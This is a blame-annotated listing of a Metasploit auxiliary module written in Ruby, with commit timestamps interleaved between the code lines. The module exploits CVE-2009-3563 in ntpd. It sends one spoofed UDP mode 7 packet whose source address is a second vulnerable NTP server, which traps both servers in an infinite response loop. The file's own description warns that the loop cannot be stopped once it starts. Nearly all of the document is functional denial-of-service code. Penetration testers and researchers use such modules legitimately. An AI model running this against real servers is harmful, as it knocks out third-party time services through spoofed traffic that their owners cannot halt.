2009-12-13 02:56:20 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-13 02:56:20 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2010-01-27 20:13:44 +00:00
|
|
|
include Msf::Exploit::Capture
|
2009-12-13 02:56:20 +00:00
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NTP.org ntpd Reserved Mode Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a denial of service vulnerability
|
|
|
|
within the NTP (network time protocol) demon. By sending
|
|
|
|
a single packet to a vulnerable ntpd server (Victim A),
|
|
|
|
spoofed from the IP address of another vulnerable ntpd server
|
|
|
|
(Victim B), both victims will enter an infinite response loop.
|
2010-09-20 08:06:27 +00:00
|
|
|
Note, unless you control the spoofed source host or the real
|
2009-12-13 02:56:20 +00:00
|
|
|
remote host(s), you will not be able to halt the DoS condition
|
|
|
|
once begun!
|
|
|
|
},
|
|
|
|
'Author' => [ 'todb' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-12-13 04:02:23 +00:00
|
|
|
[ 'BID', '37255' ],
|
2009-12-13 02:56:20 +00:00
|
|
|
[ 'CVE', '2009-3563' ],
|
2010-02-23 19:15:45 +00:00
|
|
|
[ 'OSVDB', '60847' ],
|
2009-12-13 02:56:20 +00:00
|
|
|
[ 'URL', 'https://support.ntp.org/bugs/show_bug.cgi?id=1331' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 04 2009'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptAddress.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ])
|
|
|
|
], self.class)
|
|
|
|
|
2010-01-27 20:58:45 +00:00
|
|
|
deregister_options('FILTER','PCAPFILE')
|
|
|
|
|
2009-12-13 02:56:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
2010-01-27 20:13:44 +00:00
|
|
|
open_pcap
|
2009-12-13 02:56:20 +00:00
|
|
|
|
2011-07-27 20:21:47 +00:00
|
|
|
print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")
|
|
|
|
|
2011-07-27 17:44:36 +00:00
|
|
|
p = PacketFu::UDPPacket.new
|
|
|
|
p.ip_saddr = datastore['LHOST']
|
|
|
|
p.ip_daddr = ip
|
|
|
|
p.ip_ttl = 255
|
|
|
|
p.udp_src = 123
|
|
|
|
p.udp_dst = 123
|
|
|
|
p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)]
|
|
|
|
p.recalc
|
|
|
|
capture_sendto(p,ip)
|
2009-12-13 02:56:20 +00:00
|
|
|
|
2010-01-27 20:13:44 +00:00
|
|
|
close_pcap
|
2009-12-13 02:56:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|